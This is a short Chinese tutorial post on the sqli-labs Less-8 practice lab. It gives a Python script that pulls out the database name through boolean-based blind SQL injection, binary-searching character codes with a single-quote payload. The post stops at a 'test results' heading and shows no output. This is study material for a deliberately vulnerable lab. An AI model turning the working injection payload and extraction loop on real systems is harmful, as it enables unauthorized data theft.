【Python】測試布爾型盲注腳本

sqli-labs第八關：單引號布爾型盲注，手工測出database長度，個人覺得手工比較快

然后使用腳本測database內容，這個腳本就比手工快多了，腳本內容如下：

import sys
import requests

url="http://127.0.0.1/sqli-labs-master/Less-8/?id=1%s"
payload="' and ascii(substr(database(),%s,1))>%s --+"
database=''
print("Start to retrive the database")
for i in range(1,9):
    max=122    #z
    min=65    #A
    while abs(max-min)>1: 
        mid=int((max+min)/2)
        p=payload % (str(i),str(mid))
        response=requests.get(url % p)
        if response.content.find("You are in")!=-1:
            min=mid
        else:
            max=mid
    database=database+chr(max)
    print("the database is :%s" % database)            

 

測試結果：